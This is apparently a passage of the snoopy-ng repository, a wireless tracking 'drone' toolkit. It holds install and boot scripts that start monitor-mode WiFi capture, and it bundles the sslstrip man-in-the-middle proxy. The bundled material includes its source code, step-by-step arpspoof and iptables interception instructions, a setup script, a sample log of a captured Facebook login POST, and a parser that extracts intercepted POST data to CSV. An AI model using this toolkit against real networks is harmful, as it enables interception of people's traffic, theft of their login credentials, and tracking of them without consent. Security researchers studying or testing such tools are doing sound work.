90 | sa.Column('sunc', sa.Integer, default=0))
91 |
92 | table_bpids = sa.Table('sys_bpids',metadata,
93 | #sa.Column('drone', sa.String(length=20), primary_key=True),
94 | sa.Column('timestamp', sa.Integer, primary_key=True, autoincrement=False),
95 | sa.Column('cpu',sa.Float() ),
96 | sa.Column('mem',sa.Float() ),
97 | sa.Column('name',sa.String(length=20) ),
98 | sa.Column('pid',sa.Integer ),
99 | sa.Column('sunc', sa.Integer, default=0))
100 |
101 | return [table_global,table_bpids]
102 |
103 |
104 | if __name__ == "__main__":
105 | Snoop().start()
106 |
--------------------------------------------------------------------------------
/scripts/install_rpi.sh:
--------------------------------------------------------------------------------
1 | #!/usr/bin
2 |
3 | # Install script for fresh Kali Linux (1.0.7) install on Raspberry Pi
4 |
5 | # Change SSH host keys
6 | rm /etc/ssh/ssh_host_*
7 | dpkg-reconfigure openssh-server
8 | service ssh restart
9 |
10 | # Install git
11 | apt-get update && apt-get install -y ntp libxml2-dev libxslt-dev pyrit
12 |
13 | # Downlaod snoopy-ng from https://github.com/sensepost/snoopy-ng
14 | git clone https://github.com/sensepost/snoopy-ng.git
15 |
16 | # Install snoopy via insall.sh
17 | (cd snoopy-ng && bash ./install.sh)
18 |
--------------------------------------------------------------------------------
/setup/README_BBONE.txt:
--------------------------------------------------------------------------------
1 |
2 | BeagleBone Setup:
3 |
4 | 1. Install base Ubuntu Image on an SD card:
5 | wget http://s3.armhf.com/debian/precise/bone/ubuntu-precise-12.04.2-armhf-3.8.13-bone20.img.xz
6 | xz -cd ubuntu-precise-12.04.2-armhf-3.8.13-bone20.img.xz > /dev/sd_YOUR_SD_CARD
7 |
8 | 2. Insert SD card to device, SSH in (ubuntu:ubuntu), and place files in this folder:
9 | /home/ubuntu/snoopy_ng/
10 |
11 | If you wish to put them elsewhere, make sure you edit ./setup/upstarts/*.conf to relfect
12 | the new location of ./setup/upstarts/SETTINGS
13 |
14 | 3. Go through INSTALL.sh. I'd recommend manually running these commands to watch out for errors.
15 |
16 | 4. Copy the autostart scripts:
17 | cp /home/ubuntu/snoopy_ng/setup/upstarts/*.conf /etc/init/
18 |
19 |
--------------------------------------------------------------------------------
/setup/apache/README.md:
--------------------------------------------------------------------------------
1 | These instructions were tested against Ubuntu 12/14 LTS.
2 |
3 | All commands need to be ran as root or via sudo.
4 |
5 | 1. Install Apache
6 | =================
7 |
8 | Run the following commands in the terminal:
9 |
10 | ```bash
11 | apt-get install -y apache2 libapache2-mod-wsgi
12 | a2enmod ssl
13 | a2enmod env
14 | service apache2 restart
15 | ```
16 |
17 | Enable the required custom port (9001 or another):
18 |
19 | ```bash
20 | nano /etc/apache2/ports.conf
21 | ```
22 |
23 | Add the following line right under "Listen 80":
24 |
25 | ```
26 | Listen 9001
27 | ```
28 |
29 | 2. Obtain SSL Certificate
30 | =========================
31 |
32 | Obtain a commercial SSL cert or generate a self-signed one. Beware, the latter leaves the data syncing by drones more prone to MitM attacks.
33 |
34 | A self-signed cert can be generated using:
35 |
36 | ```bash
37 | mkdir /etc/apache2/ssl
38 | openssl req -x509 -nodes -days 1000 -newkey rsa:2048 -keyout /etc/apache2/ssl/apache.key -out /etc/apache2/ssl/apache.crt
39 | ```
40 |
41 | 3. Enable snoopy-ng Server
42 | ==========================
43 |
44 | Create a symlink to the WSGI script:
45 |
46 | ```bash
47 | mkdir /var/www/snoopy
48 | cd [SNOOPY_CHECKOUT_DIR]
49 | ln -s $PWD/setup/apache/snoopy.wsgi /var/www/snoopy/snoopy.wsgi
50 | mkdir /var/www/.pyrit
51 | chown www-data:www-data /var/www/.pyrit/
52 | ```
53 |
54 | Create a configuration file from template:
55 |
56 | ```bash
57 | cd [SNOOPY_CHECKOUT_DIR]
58 | cp ./setup/apache/snoopy.conf.tpl /etc/apache2/sites-available/snoopy.conf
59 | ln -s /etc/apache2/sites-available/snoopy.conf /etc/apache2/sites-enabled/snoopy.conf
60 | ```
61 |
62 | Open /etc/apache2/sites-enabled/snoopy.conf in your editor of choice and updated the variable placeholders to reflect your specific circumstances. Specifically, look at the following:
63 |
64 | * [SQL_ALCHEMY_DBMS] - the DB connection string (refer to main README)
65 | * [IP_OR_FQDN] - the IP address or FQDN of the server
66 | * [PATH_TO_SSL_CERT_CHAIN.crt] - path to the cert chain file (optional)
67 | * /etc/apache2/ssl/apache.crt - path to the certificate file (optional)
68 | * /etc/apache2/ssl/apache.key - path to the certificate key file (optional)
69 |
70 | Once updated, apply the config:
71 |
72 | ```bash
73 | a2ensite snoopy
74 | service apache2 restart
75 | ```
76 |
77 | Don't forget to check for any blocking firewall rules if you can't get to the syncing agent.
78 |
--------------------------------------------------------------------------------
/setup/apache/snoopy.conf.tpl:
--------------------------------------------------------------------------------
1 |
2 | SetEnv SNOOPY_DBMS [SQL_ALCHEMY_DBMS]
3 | # Remove the below line if unsure
4 | ServerName [IP_OR_FQDN]
5 |
6 | SSLEngine On
7 | SSLCertificateFile /etc/apache2/ssl/apache.crt
8 | SSLCertificateKeyFile /etc/apache2/ssl/apache.key
9 | # The below line is not required for self-signed certs
10 | # SSLCertificateChainFile [PATH_TO_SSL_CERT_CHAIN.crt]
11 |
12 | WSGIDaemonProcess snoopy user=www-data group=www-data threads=5
13 | WSGIScriptAlias / /var/www/snoopy/snoopy.wsgi
14 | WSGIPassAuthorization On
15 |
16 |
17 | WSGIProcessGroup snoopy
18 | WSGIApplicationGroup %{GLOBAL}
19 | Order deny,allow
20 | Allow from all
21 |
22 |
23 |
--------------------------------------------------------------------------------
/setup/apache/snoopy.wsgi:
--------------------------------------------------------------------------------
1 | import os
2 | import sys
3 |
4 | sys.path.insert(0, os.path.realpath(os.path.realpath(__file__) + "/../../../"))
5 |
6 | def application(environ, start_response):
7 | from includes.webserver import prep, app
8 | prep(environ['SNOOPY_DBMS'])
9 | os.environ['SNOOPY_SERVER'] = 'apache'
10 | return app(environ, start_response)
11 |
--------------------------------------------------------------------------------
/setup/cron/rebooter:
--------------------------------------------------------------------------------
1 | # Reboot every day at 3am
2 | # Place me in /etc/cron.d/
3 | 01 03 * * * root /sbin/reboot
4 |
--------------------------------------------------------------------------------
/setup/ntp.conf:
--------------------------------------------------------------------------------
1 | # ntp config file packaged for Snoopy
2 |
3 | # Copy this file to /etc/
4 | # Make sure ntp and gpsd and installed:
5 | # apt-get install ntp
6 | # apt-get install gpsd
7 | # apt-get install gpsd-clients
8 | # service ntp restart
9 |
10 | # Query gpsd with gpsmon
11 | # Query ntp with 'ntpq -p'
12 |
13 | # /etc/ntp.conf, configuration for ntpd; see ntp.conf(5) for help
14 |
15 | driftfile /var/lib/ntp/ntp.drift
16 |
17 | statistics loopstats peerstats clockstats
18 | filegen loopstats file loopstats type day enable
19 | filegen peerstats file peerstats type day enable
20 | filegen clockstats file clockstats type day enable
21 |
22 | # Get daetime via GPS (gpsd process)
23 | server 127.127.28.0 minpoll 4 maxpoll 4
24 | fudge 127.127.28.0 time1 0.420 refid GPS
25 |
26 | server 127.127.28.1 minpoll 4 maxpoll 4 prefer
27 | fudge 127.127.28.1 refid GPS1
28 |
29 | # Or via an NTP server if we have internet
30 | server 0.debian.pool.ntp.org iburst
31 | server 1.debian.pool.ntp.org iburst
32 | server 2.debian.pool.ntp.org iburst
33 | server 3.debian.pool.ntp.org iburst
34 |
35 | restrict -4 default kod notrap nomodify nopeer noquery
36 | restrict -6 default kod notrap nomodify nopeer noquery
37 |
38 | restrict 127.0.0.1
39 | restrict ::1
40 |
--------------------------------------------------------------------------------
/setup/rc.local:
--------------------------------------------------------------------------------
1 | #!/bin/sh -e
2 | #
3 | # This /etc/rc.local file can specify Snoopy and related commands
4 | # to run on boot on systems that don't support upstart (e.g. Kali)
5 | # Logged output will appear in /var/log/syslog
6 |
7 | # WARNING:
8 | # Ensure any blocking commands end with '&' or the system will not boot
9 |
10 | # Start SSH server:
11 | service ssh start
12 |
13 | # Bring up 3G modem.
14 | sakis3g --sudo connect APN=epc.tmobile.com APN_USER=epc APN_PASS=epc USBINTERFACE="0" | logger -t sakis_snoopy &
15 |
16 | # Capture local only data
17 | sudo snoopy -d myDrone -l somePlace -m wifi:mon=True |logger -t logs_snoopy &
18 |
19 | # Or, capture data and sycn to remote server. Set your own paramters, then uncomment.
20 | # sudo snoopy -d myDrone -l somePlace -m wifi:mon=True -k -s http://:9001/ | logger -t logs_snoopy &
21 |
22 | exit 0
23 |
--------------------------------------------------------------------------------
/setup/scapy-latest-snoopy_patch.tar.gz:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sensepost/snoopy-ng/eac73f545952583af96c6ae8980e9ffeb8b972bc/setup/scapy-latest-snoopy_patch.tar.gz
--------------------------------------------------------------------------------
/setup/sn.txt:
--------------------------------------------------------------------------------
1 | +---------------------------------------------------------------+
2 | | SensePost Snoopy 2.0 // 2013 |
3 | | |
4 | | __---__ ______ |
5 | | / ___\_ o O O _( )__ |
6 | | /====(_____\___---_ o _( )_ |
7 | | | \ (_ Hack the ) |
8 | | | |@ (_ Planet! _)|
9 | | \ ___ / (__ __) |
10 | | \ __----____--_\____(____\_____/ (______) |
11 | | ==|__----____--______| |
12 | | / / \____/)_ |
13 | | / ______) |
14 | | / | | |
15 | | | _| | |
16 | | ______\______________|______ |
17 | | / * * \ |
18 | | /_____________*____*___________\ |
19 | | / * * \ |
20 | | /________________________________\ |
21 | | / * \ |
22 | | /__________________________________\ |
23 | | | | |
24 | | |________________________| |
25 | | | | |
26 | | |________________________| |
27 | | |
28 | | http://www.sensepost.com/research |
29 | | research@sensepost.com |
30 | +---------------------------------------------------------------+
31 |
--------------------------------------------------------------------------------
/setup/sslstripSnoopy/FOO:
--------------------------------------------------------------------------------
1 | 2012-09-28 12:19:37,197 Client:192.168.42.1 SECURE POST Data (www.facebook.com) URL(/login.php?login_attempt=1)URL:
2 | lsd=AVq2GjAm&email=hey&pass=there&default_persistent=0&charset_test=%E2%82%AC%2C%C2%B4%2C%E2%82%AC%2C%C2%B4%2C%E6%B0%B4%2C%D0%94%2C%D0%84&timezone=-120&lgnrnd=041930_KA5q&lgnjs=1348831172&locale=en_US
3 |
--------------------------------------------------------------------------------
/setup/sslstripSnoopy/README:
--------------------------------------------------------------------------------
1 | sslstrip is a MITM tool that implements Moxie Marlinspike's SSL stripping
2 | attacks.
3 |
4 | It requires Python 2.5 or newer, along with the 'twisted' python module.
5 |
6 | Installing:
7 | * Unpack: tar zxvf sslstrip-0.5.tar.gz
8 | * Install twisted: sudo apt-get install python-twisted-web
9 | * (Optionally) run 'python setup.py install' as root to install,
10 | or you can just run it out of the directory.
11 |
12 | Running:
13 | sslstrip can be run from the source base without installation.
14 | Just run 'python sslstrip.py -h' as a non-root user to get the
15 | command-line options.
16 |
17 | The four steps to getting this working (assuming you're running Linux)
18 | are:
19 |
20 | 1) Flip your machine into forwarding mode (as root):
21 | echo "1" > /proc/sys/net/ipv4/ip_forward
22 |
23 | 2) Setup iptables to intercept HTTP requests (as root):
24 | iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port
25 |
26 | 3) Run sslstrip with the command-line options you'd like (see above).
27 |
28 | 4) Run arpspoof to redirect traffic to your machine (as root):
29 | arpspoof -i -t
30 |
31 | More Info:
32 | http://www.thoughtcrime.org/software/sslstrip/
33 |
--------------------------------------------------------------------------------
/setup/sslstripSnoopy/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sensepost/snoopy-ng/eac73f545952583af96c6ae8980e9ffeb8b972bc/setup/sslstripSnoopy/__init__.py
--------------------------------------------------------------------------------
/setup/sslstripSnoopy/build/lib.linux-i686-2.7/sslstrip/CookieCleaner.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) 2004-2011 Moxie Marlinspike
2 | #
3 | # This program is free software; you can redistribute it and/or
4 | # modify it under the terms of the GNU General Public License as
5 | # published by the Free Software Foundation; either version 3 of the
6 | # License, or (at your option) any later version.
7 | #
8 | # This program is distributed in the hope that it will be useful, but
9 | # WITHOUT ANY WARRANTY; without even the implied warranty of
10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
11 | # General Public License for more details.
12 | #
13 | # You should have received a copy of the GNU General Public License
14 | # along with this program; if not, write to the Free Software
15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
16 | # USA
17 | #
18 |
19 | import logging
20 | import string
21 |
22 | class CookieCleaner:
23 | '''This class cleans cookies we haven't seen before. The basic idea is to
24 | kill sessions, which isn't entirely straight-forward. Since we want this to
25 | be generalized, there's no way for us to know exactly what cookie we're trying
26 | to kill, which also means we don't know what domain or path it has been set for.
27 |
28 | The rule with cookies is that specific overrides general. So cookies that are
29 | set for mail.foo.com override cookies with the same name that are set for .foo.com,
30 | just as cookies that are set for foo.com/mail override cookies with the same name
31 | that are set for foo.com/
32 |
33 | The best we can do is guess, so we just try to cover our bases by expiring cookies
34 | in a few different ways. The most obvious thing to do is look for individual cookies
35 | and nail the ones we haven't seen coming from the server, but the problem is that cookies are often
36 | set by Javascript instead of a Set-Cookie header, and if we block those the site
37 | will think cookies are disabled in the browser. So we do the expirations and whitlisting
38 | based on client,server tuples. The first time a client hits a server, we kill whatever
39 | cookies we see then. After that, we just let them through. Not perfect, but pretty effective.
40 |
41 | '''
42 |
43 | _instance = None
44 |
45 | def getInstance():
46 | if CookieCleaner._instance == None:
47 | CookieCleaner._instance = CookieCleaner()
48 |
49 | return CookieCleaner._instance
50 |
51 | getInstance = staticmethod(getInstance)
52 |
53 | def __init__(self):
54 | self.cleanedCookies = set();
55 | self.enabled = False
56 |
57 | def setEnabled(self, enabled):
58 | self.enabled = enabled
59 |
60 | def isClean(self, method, client, host, headers):
61 | if method == "POST": return True
62 | if not self.enabled: return True
63 | if not self.hasCookies(headers): return True
64 |
65 | return (client, self.getDomainFor(host)) in self.cleanedCookies
66 |
67 | def getExpireHeaders(self, method, client, host, headers, path):
68 | domain = self.getDomainFor(host)
69 | self.cleanedCookies.add((client, domain))
70 |
71 | expireHeaders = []
72 |
73 | for cookie in headers['cookie'].split(";"):
74 | cookie = cookie.split("=")[0].strip()
75 | expireHeadersForCookie = self.getExpireCookieStringFor(cookie, host, domain, path)
76 | expireHeaders.extend(expireHeadersForCookie)
77 |
78 | return expireHeaders
79 |
80 | def hasCookies(self, headers):
81 | return 'cookie' in headers
82 |
83 | def getDomainFor(self, host):
84 | hostParts = host.split(".")
85 | return "." + hostParts[-2] + "." + hostParts[-1]
86 |
87 | def getExpireCookieStringFor(self, cookie, host, domain, path):
88 | pathList = path.split("/")
89 | expireStrings = list()
90 |
91 | expireStrings.append(cookie + "=" + "EXPIRED;Path=/;Domain=" + domain +
92 | ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n")
93 |
94 | expireStrings.append(cookie + "=" + "EXPIRED;Path=/;Domain=" + host +
95 | ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n")
96 |
97 | if len(pathList) > 2:
98 | expireStrings.append(cookie + "=" + "EXPIRED;Path=/" + pathList[1] + ";Domain=" +
99 | domain + ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n")
100 |
101 | expireStrings.append(cookie + "=" + "EXPIRED;Path=/" + pathList[1] + ";Domain=" +
102 | host + ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n")
103 |
104 | return expireStrings
105 |
106 |
107 |
--------------------------------------------------------------------------------
/setup/sslstripSnoopy/build/lib.linux-i686-2.7/sslstrip/DnsCache.py:
--------------------------------------------------------------------------------
1 |
2 | class DnsCache:
3 |
4 | '''
5 | The DnsCache maintains a cache of DNS lookups, mirroring the browser experience.
6 | '''
7 |
8 | _instance = None
9 |
10 | def __init__(self):
11 | self.cache = {}
12 |
13 | def cacheResolution(self, host, address):
14 | self.cache[host] = address
15 |
16 | def getCachedAddress(self, host):
17 | if host in self.cache:
18 | return self.cache[host]
19 |
20 | return None
21 |
22 | def getInstance():
23 | if DnsCache._instance == None:
24 | DnsCache._instance = DnsCache()
25 |
26 | return DnsCache._instance
27 |
28 | getInstance = staticmethod(getInstance)
29 |
--------------------------------------------------------------------------------
/setup/sslstripSnoopy/build/lib.linux-i686-2.7/sslstrip/ServerConnectionFactory.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) 2004-2009 Moxie Marlinspike
2 | #
3 | # This program is free software; you can redistribute it and/or
4 | # modify it under the terms of the GNU General Public License as
5 | # published by the Free Software Foundation; either version 3 of the
6 | # License, or (at your option) any later version.
7 | #
8 | # This program is distributed in the hope that it will be useful, but
9 | # WITHOUT ANY WARRANTY; without even the implied warranty of
10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
11 | # General Public License for more details.
12 | #
13 | # You should have received a copy of the GNU General Public License
14 | # along with this program; if not, write to the Free Software
15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
16 | # USA
17 | #
18 |
19 | import logging
20 | from twisted.internet.protocol import ClientFactory
21 |
22 | class ServerConnectionFactory(ClientFactory):
23 |
24 | def __init__(self, command, uri, postData, headers, client):
25 | self.command = command
26 | self.uri = uri
27 | self.postData = postData
28 | self.headers = headers
29 | self.client = client
30 |
31 | def buildProtocol(self, addr):
32 | return self.protocol(self.command, self.uri, self.postData, self.headers, self.client)
33 |
34 | def clientConnectionFailed(self, connector, reason):
35 | logging.debug("Client:%s Server connection failed." % (self.client.getClientIP()))
36 |
37 | destination = connector.getDestination()
38 |
39 | if (destination.port != 443):
40 | logging.debug("Client:%s Retrying via SSL" % (self.client.getClientIP()))
41 | self.client.proxyViaSSL(self.headers['host'], self.command, self.uri, self.postData, self.headers, 443)
42 | else:
43 | self.client.finish()
44 |
45 |
--------------------------------------------------------------------------------
/setup/sslstripSnoopy/build/lib.linux-i686-2.7/sslstrip/StrippingProxy.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) 2004-2009 Moxie Marlinspike
2 | #
3 | # This program is free software; you can redistribute it and/or
4 | # modify it under the terms of the GNU General Public License as
5 | # published by the Free Software Foundation; either version 3 of the
6 | # License, or (at your option) any later version.
7 | #
8 | # This program is distributed in the hope that it will be useful, but
9 | # WITHOUT ANY WARRANTY; without even the implied warranty of
10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
11 | # General Public License for more details.
12 | #
13 | # You should have received a copy of the GNU General Public License
14 | # along with this program; if not, write to the Free Software
15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
16 | # USA
17 | #
18 |
19 | from twisted.web.http import HTTPChannel
20 | from ClientRequest import ClientRequest
21 |
22 | class StrippingProxy(HTTPChannel):
23 | '''sslstrip is, at heart, a transparent proxy server that does some unusual things.
24 | This is the basic proxy server class, where we get callbacks for GET and POST methods.
25 | We then proxy these out using HTTP or HTTPS depending on what information we have about
26 | the (connection, client_address) tuple in our cache.
27 | '''
28 |
29 | requestFactory = ClientRequest
30 |
--------------------------------------------------------------------------------
/setup/sslstripSnoopy/build/lib.linux-i686-2.7/sslstrip/URLMonitor.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) 2004-2009 Moxie Marlinspike
2 | #
3 | # This program is free software; you can redistribute it and/or
4 | # modify it under the terms of the GNU General Public License as
5 | # published by the Free Software Foundation; either version 3 of the
6 | # License, or (at your option) any later version.
7 | #
8 | # This program is distributed in the hope that it will be useful, but
9 | # WITHOUT ANY WARRANTY; without even the implied warranty of
10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
11 | # General Public License for more details.
12 | #
13 | # You should have received a copy of the GNU General Public License
14 | # along with this program; if not, write to the Free Software
15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
16 | # USA
17 | #
18 |
19 | import re
20 |
21 | class URLMonitor:
22 |
23 | '''
24 | The URL monitor maintains a set of (client, url) tuples that correspond to requests which the
25 | server is expecting over SSL. It also keeps track of secure favicon urls.
26 | '''
27 |
28 | # Start the arms race, and end up here...
29 | javascriptTrickery = [re.compile("http://.+\.etrade\.com/javascript/omntr/tc_targeting\.html")]
30 | _instance = None
31 |
32 | def __init__(self):
33 | self.strippedURLs = set()
34 | self.strippedURLPorts = {}
35 | self.faviconReplacement = False
36 |
37 | def isSecureLink(self, client, url):
38 | for expression in URLMonitor.javascriptTrickery:
39 | if (re.match(expression, url)):
40 | return True
41 |
42 | return (client,url) in self.strippedURLs
43 |
44 | def getSecurePort(self, client, url):
45 | if (client,url) in self.strippedURLs:
46 | return self.strippedURLPorts[(client,url)]
47 | else:
48 | return 443
49 |
50 | def addSecureLink(self, client, url):
51 | methodIndex = url.find("//") + 2
52 | method = url[0:methodIndex]
53 |
54 | pathIndex = url.find("/", methodIndex)
55 | host = url[methodIndex:pathIndex]
56 | path = url[pathIndex:]
57 |
58 | port = 443
59 | portIndex = host.find(":")
60 |
61 | if (portIndex != -1):
62 | host = host[0:portIndex]
63 | port = host[portIndex+1:]
64 | if len(port) == 0:
65 | port = 443
66 |
67 | url = method + host + path
68 |
69 | self.strippedURLs.add((client, url))
70 | self.strippedURLPorts[(client, url)] = int(port)
71 |
72 | def setFaviconSpoofing(self, faviconSpoofing):
73 | self.faviconSpoofing = faviconSpoofing
74 |
75 | def isFaviconSpoofing(self):
76 | return self.faviconSpoofing
77 |
78 | def isSecureFavicon(self, client, url):
79 | return ((self.faviconSpoofing == True) and (url.find("favicon-x-favicon-x.ico") != -1))
80 |
81 | def getInstance():
82 | if URLMonitor._instance == None:
83 | URLMonitor._instance = URLMonitor()
84 |
85 | return URLMonitor._instance
86 |
87 | getInstance = staticmethod(getInstance)
88 |
--------------------------------------------------------------------------------
/setup/sslstripSnoopy/build/lib.linux-i686-2.7/sslstrip/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sensepost/snoopy-ng/eac73f545952583af96c6ae8980e9ffeb8b972bc/setup/sslstripSnoopy/build/lib.linux-i686-2.7/sslstrip/__init__.py
--------------------------------------------------------------------------------
/setup/sslstripSnoopy/build/scripts-2.7/sslstrip:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 |
3 | """sslstrip is a MITM tool that implements Moxie Marlinspike's SSL stripping attacks."""
4 |
5 | __author__ = "Moxie Marlinspike"
6 | __email__ = "moxie@thoughtcrime.org"
7 | __license__= """
8 | Copyright (c) 2004-2009 Moxie Marlinspike
9 |
10 | This program is free software; you can redistribute it and/or
11 | modify it under the terms of the GNU General Public License as
12 | published by the Free Software Foundation; either version 3 of the
13 | License, or (at your option) any later version.
14 |
15 | This program is distributed in the hope that it will be useful, but
16 | WITHOUT ANY WARRANTY; without even the implied warranty of
17 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
18 | General Public License for more details.
19 |
20 | You should have received a copy of the GNU General Public License
21 | along with this program; if not, write to the Free Software
22 | Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
23 | USA
24 |
25 | """
26 |
27 | from twisted.web import http
28 | from twisted.internet import reactor
29 |
30 | from sslstrip.StrippingProxy import StrippingProxy
31 | from sslstrip.URLMonitor import URLMonitor
32 | from sslstrip.CookieCleaner import CookieCleaner
33 |
34 | import sys, getopt, logging, traceback, string, os
35 |
36 | gVersion = "0.9"
37 |
38 | def usage():
39 | print "\nsslstrip " + gVersion + " by Moxie Marlinspike"
40 | print "Usage: sslstrip \n"
41 | print "Options:"
42 | print "-w , --write= Specify file to log to (optional)."
43 | print "-p , --post Log only SSL POSTs. (default)"
44 | print "-s , --ssl Log all SSL traffic to and from server."
45 | print "-a , --all Log all SSL and HTTP traffic to and from server."
46 | print "-l , --listen= Port to listen on (default 10000)."
47 | print "-f , --favicon Substitute a lock favicon on secure requests."
48 | print "-k , --killsessions Kill sessions in progress."
49 | print "-h Print this help message."
50 | print ""
51 |
52 | def parseOptions(argv):
53 | logFile = 'sslstrip.log'
54 | logLevel = logging.WARNING
55 | listenPort = 10000
56 | spoofFavicon = False
57 | killSessions = False
58 |
59 | try:
60 | opts, args = getopt.getopt(argv, "hw:l:psafk",
61 | ["help", "write=", "post", "ssl", "all", "listen=",
62 | "favicon", "killsessions"])
63 |
64 | for opt, arg in opts:
65 | if opt in ("-h", "--help"):
66 | usage()
67 | sys.exit()
68 | elif opt in ("-w", "--write"):
69 | logFile = arg
70 | elif opt in ("-p", "--post"):
71 | logLevel = logging.WARNING
72 | elif opt in ("-s", "--ssl"):
73 | logLevel = logging.INFO
74 | elif opt in ("-a", "--all"):
75 | logLevel = logging.DEBUG
76 | elif opt in ("-l", "--listen"):
77 | listenPort = arg
78 | elif opt in ("-f", "--favicon"):
79 | spoofFavicon = True
80 | elif opt in ("-k", "--killsessions"):
81 | killSessions = True
82 |
83 | return (logFile, logLevel, listenPort, spoofFavicon, killSessions)
84 |
85 | except getopt.GetoptError:
86 | usage()
87 | sys.exit(2)
88 |
89 | def main(argv):
90 | (logFile, logLevel, listenPort, spoofFavicon, killSessions) = parseOptions(argv)
91 |
92 | logging.basicConfig(level=logLevel, format='%(asctime)s %(message)s',
93 | filename=logFile, filemode='w')
94 |
95 | URLMonitor.getInstance().setFaviconSpoofing(spoofFavicon)
96 | CookieCleaner.getInstance().setEnabled(killSessions)
97 |
98 | strippingFactory = http.HTTPFactory(timeout=10)
99 | strippingFactory.protocol = StrippingProxy
100 |
101 | reactor.listenTCP(int(listenPort), strippingFactory)
102 |
103 | print "\nsslstrip " + gVersion + " by Moxie Marlinspike running..."
104 |
105 | reactor.run()
106 |
107 | if __name__ == '__main__':
108 | main(sys.argv[1:])
109 |
--------------------------------------------------------------------------------
/setup/sslstripSnoopy/iptables.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | echo 1 > /proc/sys/net/ipv4/ip_forward
4 |
5 | iptables -P INPUT ACCEPT
6 | iptables -P OUTPUT ACCEPT
7 | iptables -P FORWARD ACCEPT
8 | iptables -F INPUT
9 | iptables -F OUTPUT
10 | iptables -F FORWARD
11 |
12 | iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
13 | iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
14 |
15 |
--------------------------------------------------------------------------------
/setup/sslstripSnoopy/jstripper.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # ----------------------------------------------
3 | # Junaid Loonat (junaid@sensepost.com)
4 | # JStripper - Parser for modified SSLStrip logs
5 | # ----------------------------------------------
6 | # How to import a CSV into a MySQL database:
7 | # http://www.tech-recipes.com/rx/2345/import_csv_file_directly_into_mysql/
8 | # ----------------------------------------------
9 |
10 | import os
11 | import sys
12 | import time
13 | import base64
14 | import urllib
15 | import csv
16 | import re
17 |
18 | def usage():
19 | print 'Usage: jstripper.py file'
20 |
21 | def processEntry(entry):
22 | print 'processEntry %s' % entry
23 | exportFile.writerow([
24 | entry['timestamp'],
25 | entry['src_ip'],
26 | entry['domain'],
27 | entry['url'],
28 | entry['secure'],
29 | entry['post']
30 | ])
31 |
32 | if __name__ == '__main__':
33 | if len(sys.argv) != 2:
34 | usage()
35 | sys.exit()
36 | logFilePath = sys.argv[1]
37 | if not os.path.exists(logFilePath):
38 | print 'Specified log file does not exist: %s' % logFilePath
39 | elif not os.path.isfile(logFilePath):
40 | print 'Specified log file does not appear to be a file: %s' % logFilePath
41 | else:
42 | exportFilePath = '%s%s' % (logFilePath, '.export')
43 | print 'Export file will be: %s' % exportFilePath
44 | if os.path.exists(exportFilePath):
45 | print 'Removing existing export file: %s' % exportFilePath
46 | os.remove(exportFilePath)
47 | exportFile = csv.writer(open(exportFilePath, 'wb'), delimiter=',', quotechar='"', quoting=csv.QUOTE_ALL)
48 | exportFile.writerow(['timestamp', 'src_ip', 'domain', 'url', 'secure', 'post'])
49 |
50 | logFile = open(logFilePath, 'r')
51 | isEntry = False
52 | anEntry = {}
53 | for aLine in logFile:
54 | if aLine.startswith('2012-') and aLine.find(' Client:') > -1:
55 | if isEntry:
56 | processEntry(anEntry)
57 | isEntry = False
58 |
59 | if aLine.find(' POST Data (') > -1:
60 | isEntry = True
61 | anEntry = {}
62 | anEntry['timestamp'] = aLine[:aLine.find(',')]
63 | anEntry['secure'] = 0
64 | anEntry['post'] = ''
65 | if aLine.find('SECURE POST Data (') > -1:
66 | anEntry['secure'] = 1
67 |
68 | tStart = aLine.find(' POST Data (') + 12
69 | anEntry['domain'] = aLine[tStart:aLine.find(')', tStart)]
70 |
71 | tStart = aLine.find(' Client:') + 8
72 | anEntry['src_ip'] = aLine[tStart:aLine.find(' ', tStart)]
73 |
74 | tStart = aLine.find(' URL(') + 8
75 | anEntry['url'] = aLine[tStart:aLine.find(')URL', tStart)]
76 |
77 | elif isEntry:
78 | anEntry['post'] = '%s%s' % (anEntry['post'], urllib.unquote_plus(aLine.strip()))
79 |
80 | if isEntry:
81 | processEntry(anEntry)
82 |
83 |
84 | logFile.close()
85 |
86 |
87 |
88 |
89 | print 'done'
90 |
--------------------------------------------------------------------------------
/setup/sslstripSnoopy/lock.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sensepost/snoopy-ng/eac73f545952583af96c6ae8980e9ffeb8b972bc/setup/sslstripSnoopy/lock.ico
--------------------------------------------------------------------------------
/setup/sslstripSnoopy/setup.py:
--------------------------------------------------------------------------------
1 | import sys, os, shutil
2 | from distutils.core import setup, Extension
3 |
4 |
5 | shutil.copyfile("sslstrip.py", "sslstrip/sslstrip")
6 |
7 | setup (name = 'sslstrip',
8 | version = '0.9',
9 | description = 'A MITM tool that implements Moxie Marlinspike\'s HTTPS stripping attacks.',
10 | author = 'Moxie Marlinspike',
11 | author_email = 'moxie@thoughtcrime.org',
12 | url = 'http://www.thoughtcrime.org/software/sslstrip/',
